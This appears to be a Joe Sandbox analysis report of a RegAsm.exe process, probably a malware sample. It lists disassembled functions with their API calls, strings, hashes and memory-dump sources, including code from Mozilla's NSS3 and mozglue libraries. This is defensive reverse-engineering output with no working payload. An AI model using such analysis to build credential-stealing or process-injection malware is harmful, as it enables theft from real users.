Associated: 00000002.00000002.2243076753.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: BinaryCryptString
String ID:
API String ID: 80407269-0
Opcode ID: 3aec6097f2b6cc18e3a50b756b1644abdcd7f84ae5ce4698d77b00bdd9d6955c
Instruction ID: 8551c2f8eff3d936ade43cc3e5b46360b1bd8edc09fa8c17659182bc6519fa86
Opcode Fuzzy Hash: 3aec6097f2b6cc18e3a50b756b1644abdcd7f84ae5ce4698d77b00bdd9d6955c
Instruction Fuzzy Hash: DF1118B5220209FFDB14CF54D884FBB37A9AF99314F109549F9098B250DB79EC82CB69

Function 00417420 Relevance: 6.1, APIs: 4, Instructions: 51memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00420DD0,00000000,?), ref: 00417450
HeapAlloc.KERNEL32(00000000,?,?,?,?,00420DD0,00000000,?), ref: 00417457
GetLocalTime.KERNEL32(?,?,?,?,?,00420DD0,00000000,?), ref: 00417464
wsprintfA.USER32 ref: 00417493

Memory Dump Source

Source File: 00000002.00000002.2243076753.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2243076753.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Heap$AllocLocalProcessTimewsprintf
String ID:
API String ID: 1243822799-0
Opcode ID: 5f2f51bfbe90337ca5e895f9776451138895015e5f3a8196a904fc3d9a46e3df
Instruction ID: 50de9df5f87ad77eb031dc94815d0013ed19ce73efbeceace7c97849f90fee7e
Opcode Fuzzy Hash: 5f2f51bfbe90337ca5e895f9776451138895015e5f3a8196a904fc3d9a46e3df
Instruction Fuzzy Hash: 82113CB2904518ABCB14DFC9DD45FBEB7B9FB4CB11F10411AF605A2290D3795941C7B4

Function 0041C8D9 Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_0001C897), ref: 0041C8DE

Memory Dump Source

Source File: 00000002.00000002.2243076753.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2243076753.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 92af57a2eb04ab3802c4d219b965fa46d3e89a576cd6fa8fbae2cab6dd9d340f
Instruction ID: 8e4dbfb736b9908720f30fe25f95c1a3b6087da1e007f902b0e4d68da9f23204
Opcode Fuzzy Hash: 92af57a2eb04ab3802c4d219b965fa46d3e89a576cd6fa8fbae2cab6dd9d340f
Instruction Fuzzy Hash: 8D9002B829111456561037719D896896D905ACC6137554861B405C4055EA9841849529

Function 6C978EA0 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2264626706.000000006C901000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000002.00000002.2264613488.000000006C900000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265108355.000000006CA9F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265195565.000000006CADE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265297960.000000006CADF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265312914.000000006CAE0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265328345.000000006CAE5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c900000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a2b6826e9e6d775c88971ae7bdc67464b47fc5266e1fb9f53344c646b771ad93
Instruction ID: 2635e5a6e9dd9985e685c06f7b912e625a323a5d43a6c99a8b6e0161e89c10cd
Opcode Fuzzy Hash: a2b6826e9e6d775c88971ae7bdc67464b47fc5266e1fb9f53344c646b771ad93
Instruction Fuzzy Hash: 6F11C432B022158BD72CDF24D88475AB7A9FF4131CF04826AD8059FA41C775E896C7E5

Function 6CA50C40 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2264626706.000000006C901000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000002.00000002.2264613488.000000006C900000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265108355.000000006CA9F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265195565.000000006CADE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265297960.000000006CADF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265312914.000000006CAE0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265328345.000000006CAE5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c900000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aaf6b54277fb437756a8d31c748c11763224d00e3a4508aca7f0d6bac29053cd
Instruction ID: b448d8f99bca684f3211acdee1ba8413697fe83e2071c0f976dc9a43ff2dab31
Opcode Fuzzy Hash: aaf6b54277fb437756a8d31c748c11763224d00e3a4508aca7f0d6bac29053cd
Instruction Fuzzy Hash: FB118C757043469FDB04DF28C88066A7BA6FF86368F18C46DD8198B701DB71E956CBA0

Function 6CA50D60 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2264626706.000000006C901000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000002.00000002.2264613488.000000006C900000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265108355.000000006CA9F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265195565.000000006CADE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265297960.000000006CADF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265312914.000000006CAE0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265328345.000000006CAE5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c900000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction ID: 33a223d54b5311865e8ca87d3169bea15a7aef310d6ae2bb252584bb626913eb
Opcode Fuzzy Hash: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction Fuzzy Hash: 46E06D7B202054A7DB148E09C450AAA7359DF8161DFE8C879CC599BA01E633F8938781

Function 00419160 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2243076753.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2243076753.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction ID: abbdd297b848902a35704da264ecc4a7d2e6ec457c67c65f9fa5c7ab4ebdfac4
Opcode Fuzzy Hash: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction Fuzzy Hash: 1EE04878A56608EFC740CF88D584E49B7F8EB0D720F1181D5ED099B721D235EE00EA90

Function 6C8C55F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(user32,?,6C89E1A5), ref: 6C8C5606
LoadLibraryW.KERNEL32(gdi32,?,6C89E1A5), ref: 6C8C560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6C8C5633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6C8C563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6C8C566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6C8C567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6C8C5696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6C8C56B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6C8C56CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6C8C56E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6C8C56FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6C8C5716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6C8C572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6C8C5748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6C8C5761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6C8C577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6C8C5793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6C8C57A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6C8C57BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6C8C57D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6C8C57EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6C8C57FF

Strings

CreateWindowExW, xrefs: 6C8C56C5
user32, xrefs: 6C8C5601
GetThreadDpiAwarenessContext, xrefs: 6C8C562D
StretchDIBits, xrefs: 6C8C57CC
GetWindowDC, xrefs: 6C8C5710
DeleteObject, xrefs: 6C8C57F9
CreateSolidBrush, xrefs: 6C8C57E4
SetWindowPos, xrefs: 6C8C56F7
SetWindowLongPtrW, xrefs: 6C8C57B7
LoadIconW, xrefs: 6C8C575B
gdi32, xrefs: 6C8C560A
ShowWindow, xrefs: 6C8C56DE
LoadCursorW, xrefs: 6C8C5774
AreDpiAwarenessContextsEqual, xrefs: 6C8C5637
FillRect, xrefs: 6C8C5729
GetSystemMetricsForDpi, xrefs: 6C8C5677
GetMonitorInfoW, xrefs: 6C8C57A2
RegisterClassW, xrefs: 6C8C56AC
ReleaseDC, xrefs: 6C8C5742
GetDpiForWindow, xrefs: 6C8C5690
EnableNonClientDpiScaling, xrefs: 6C8C5666
MonitorFromWindow, xrefs: 6C8C578D

Memory Dump Source

Source File: 00000002.00000002.2264437333.000000006C861000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C860000, based on PE: true

Associated: 00000002.00000002.2264422713.000000006C860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264548982.000000006C8DD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264579684.000000006C8EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264596152.000000006C8F2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c860000_RegAsm.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: bb0df3deacf4fb06a7a1076ea940bc37a511ad22cf4a157566fd74449c54d238
Instruction ID: 75e16681a987a9f1c5ad919f92dabe88101e2cbab19739b6378e9dd1188afec7
Opcode Fuzzy Hash: bb0df3deacf4fb06a7a1076ea940bc37a511ad22cf4a157566fd74449c54d238
Instruction Fuzzy Hash: 4A510D707117136BDF719F359E4493B3AB8AB2E24D7104C39A921E2B56EB70D800EFA5

Function 6C8ACC00 Relevance: 75.2, APIs: 25, Strings: 25, Instructions: 233stringCOMMON

Download Yara Rule

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6C87582D), ref: 6C8ACC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6C87582D), ref: 6C8ACC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6C8DFE98,?,?,?,?,?,6C87582D), ref: 6C8ACC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6C87582D), ref: 6C8ACC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6C87582D), ref: 6C8ACC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6C87582D), ref: 6C8ACC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6C87582D), ref: 6C8ACCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6C8ACCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6C8ACCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6C8ACCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6C8ACCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6C8ACD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6C8ACD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6C8ACD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6C8ACDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6C8ACDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6C8ACDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6C8ACDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6C8ACE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6C8ACE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6C8ACE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6C8ACE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6C8ACE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6C8ACE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6C8ACE8A

Strings

processcpu, xrefs: 6C8ACE6E
Q^, xrefs: 6C8ACD25
audiocallbacktracing, xrefs: 6C8ACDD4
markersallthreads, xrefs: 6C8ACE42
fileioall, xrefs: 6C8ACCA8
screenshots, xrefs: 6C8ACCD4
java, xrefs: 6C8ACC37
ipcmessages, xrefs: 6C8ACDBE
jsallocations, xrefs: 6C8ACD0E
notimerresolutionchange, xrefs: 6C8ACE00
default, xrefs: 6C8ACC21
power, xrefs: 6C8ACE84
nostacksampling, xrefs: 6C8ACD7C
noiostacks, xrefs: 6C8ACCBE
mainthreadio, xrefs: 6C8ACC7C
Unrecognized feature "%s"., xrefs: 6C8ACEA0
samplingallthreads, xrefs: 6C8ACE2C
cpuallthreads, xrefs: 6C8ACE16
fileio, xrefs: 6C8ACC92
preferencereads, xrefs: 6C8ACD92
leaf, xrefs: 6C8ACC66
unregisteredthreads, xrefs: 6C8ACE58
stackwalk, xrefs: 6C8ACCF8
nativeallocations, xrefs: 6C8ACDA8
seqstyle, xrefs: 6C8ACCE6

Memory Dump Source

Source File: 00000002.00000002.2264437333.000000006C861000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C860000, based on PE: true

Associated: 00000002.00000002.2264422713.000000006C860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264548982.000000006C8DD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264579684.000000006C8EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264596152.000000006C8F2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c860000_RegAsm.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$Q^$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-1065946776
Opcode ID: ff9725773a7738db7342d87e742a175a6c7cac86023b0aa02769763c6ac827fc
Instruction ID: 40bd7c3c82c3deeed963956217db5f1a18de57b1c6de815a66dee523c1ceda55
Opcode Fuzzy Hash: ff9725773a7738db7342d87e742a175a6c7cac86023b0aa02769763c6ac827fc
Instruction Fuzzy Hash: 375197A090522912FB3432D96F10BAA3504EB5724BF114D39E905B5F83FF0AB61B57A7

Function 6C9B28A0 Relevance: 49.2, APIs: 12, Strings: 16, Instructions: 155COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetTokenInfo), ref: 6C9B28BD
PR_LogPrint.NSS3( pInfo = 0x%p,?), ref: 6C9B28EF

Part of subcall function 6CA909D0: OutputDebugStringA.KERNEL32(?), ref: 6CA90B88
Part of subcall function 6CA909D0: memcpy.VCRUNTIME140(?,?,00000000), ref: 6CA90C5D
Part of subcall function 6CA909D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?), ref: 6CA90C8D
Part of subcall function 6CA909D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CA90C9C
Part of subcall function 6CA909D0: OutputDebugStringA.KERNEL32(?), ref: 6CA90CD1
Part of subcall function 6CA909D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6CA90CEC
Part of subcall function 6CA909D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CA90CFB
Part of subcall function 6CA909D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CA90D16
Part of subcall function 6CA909D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000001,00000000,?), ref: 6CA90D26
Part of subcall function 6CA909D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CA90D35
Part of subcall function 6CA909D0: OutputDebugStringA.KERNEL32(0000000A), ref: 6CA90D65
Part of subcall function 6CA909D0: fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,?), ref: 6CA90D70
Part of subcall function 6CA909D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CA90D90
Part of subcall function 6CA909D0: free.MOZGLUE(00000000), ref: 6CA90D99

Part of subcall function 6C970F00: PR_GetPageSize.NSS3(6C970936,FFFFE8AE,?,6C9016B7,00000000,?,6C970936,00000000,?,6C90204A), ref: 6C970F1B
Part of subcall function 6C970F00: PR_NewLogModule.NSS3(clock,6C970936,FFFFE8AE,?,6C9016B7,00000000,?,6C970936,00000000,?,6C90204A), ref: 6C970F25

PR_LogPrint.NSS3( slotID = 0x%x,?), ref: 6C9B28D6

Part of subcall function 6CA909D0: PR_Now.NSS3 ref: 6CA90A22
Part of subcall function 6CA909D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6CA90A35
Part of subcall function 6CA909D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6CA90A66
Part of subcall function 6CA909D0: PR_GetCurrentThread.NSS3 ref: 6CA90A70
Part of subcall function 6CA909D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6CA90A9D
Part of subcall function 6CA909D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6CA90AC8
Part of subcall function 6CA909D0: PR_vsmprintf.NSS3(?,?), ref: 6CA90AE8
Part of subcall function 6CA909D0: EnterCriticalSection.KERNEL32(?), ref: 6CA90B19
Part of subcall function 6CA909D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CA90B48
Part of subcall function 6CA909D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CA90C76
Part of subcall function 6CA909D0: PR_LogFlush.NSS3 ref: 6CA90C7E

PR_LogPrint.NSS3( label = "%.32s",?), ref: 6C9B2963
PR_LogPrint.NSS3( manufacturerID = "%.32s",?), ref: 6C9B2983
PR_LogPrint.NSS3( model = "%.16s",?), ref: 6C9B29A3
PR_LogPrint.NSS3( serial = "%.16s",?), ref: 6C9B29C3
PR_LogPrint.NSS3( flags = %s %s %s %s,CKF_RNG,CKF_WRITE_PROTECTED,CKF_LOGIN_REQUIRED,?), ref: 6C9B2A26
PR_LogPrint.NSS3( maxSessions = %u, Sessions = %u,?,?), ref: 6C9B2A48
PR_LogPrint.NSS3( maxRwSessions = %u, RwSessions = %u,?,?), ref: 6C9B2A66
PR_LogPrint.NSS3( hardware version: %d.%d,?,?), ref: 6C9B2A8E
PR_LogPrint.NSS3( firmware version: %d.%d,?,?), ref: 6C9B2AB6

Strings

CKF_RNG, xrefs: 6C9B2A13, 6C9B2A20
C_GetTokenInfo, xrefs: 6C9B28B8
serial = "%.16s", xrefs: 6C9B29BE
manufacturerID = "%.32s", xrefs: 6C9B297E
model = "%.16s", xrefs: 6C9B299E
flags = %s %s %s %s, xrefs: 6C9B2A21
CKF_LOGIN_REQUIRED, xrefs: 6C9B29F3, 6C9B2A1E
maxSessions = %u, Sessions = %u, xrefs: 6C9B2A43
hardware version: %d.%d, xrefs: 6C9B2A89
CKF_USER_PIN_INIT, xrefs: 6C9B29E5
slotID = 0x%x, xrefs: 6C9B28D1
firmware version: %d.%d, xrefs: 6C9B2AB1
pInfo = 0x%p, xrefs: 6C9B28EA
CKF_WRITE_PROTECTED, xrefs: 6C9B29FE, 6C9B2A1F
label = "%.32s", xrefs: 6C9B295E
maxRwSessions = %u, RwSessions = %u, xrefs: 6C9B2A61

Memory Dump Source

Source File: 00000002.00000002.2264626706.000000006C901000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000002.00000002.2264613488.000000006C900000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265108355.000000006CA9F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265195565.000000006CADE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265297960.000000006CADF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265312914.000000006CAE0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265328345.000000006CAE5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c900000_RegAsm.jbxd

Similarity

API ID: Print$DebugOutputString$fflushfwrite$R_snprintf$CriticalCurrentEnterExplodeFlushModulePageR_vsmprintfR_vsnprintfSectionSizeThreadTimefputcfreememcpy
String ID: firmware version: %d.%d$ flags = %s %s %s %s$ hardware version: %d.%d$ label = "%.32s"$ manufacturerID = "%.32s"$ maxRwSessions = %u, RwSessions = %u$ maxSessions = %u, Sessions = %u$ model = "%.16s"$ pInfo = 0x%p$ serial = "%.16s"$ slotID = 0x%x$CKF_LOGIN_REQUIRED$CKF_RNG$CKF_USER_PIN_INIT$CKF_WRITE_PROTECTED$C_GetTokenInfo
API String ID: 2460313690-1106672779
Opcode ID: 8ee85aab527e09540f901ba1da9d8816a22d784c3e128000213281c098425c2c
Instruction ID: 1934347a409fd7df356938a396a240e579ae69ab721c32e089ed9a43ed3b00b9
Opcode Fuzzy Hash: 8ee85aab527e09540f901ba1da9d8816a22d784c3e128000213281c098425c2c
Instruction Fuzzy Hash: F55109B1200146AFEB08CF94DE8DA563BF5EB59309F45C074F904AB612DB31D989DBA1

Function 6C874470 Relevance: 43.9, APIs: 20, Strings: 5, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C874730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C8744B2,6C8EE21C,6C8EF7F8), ref: 6C87473E
Part of subcall function 6C874730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C87474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6C8744BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6C8744D2
InitOnceExecuteOnce.KERNEL32(6C8EF80C,6C86F240,?,?), ref: 6C87451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C87455C
LoadLibraryW.KERNEL32(?), ref: 6C874592
InitializeCriticalSection.KERNEL32(6C8EF770), ref: 6C8745A2
moz_xmalloc.MOZGLUE(00000008), ref: 6C8745AA
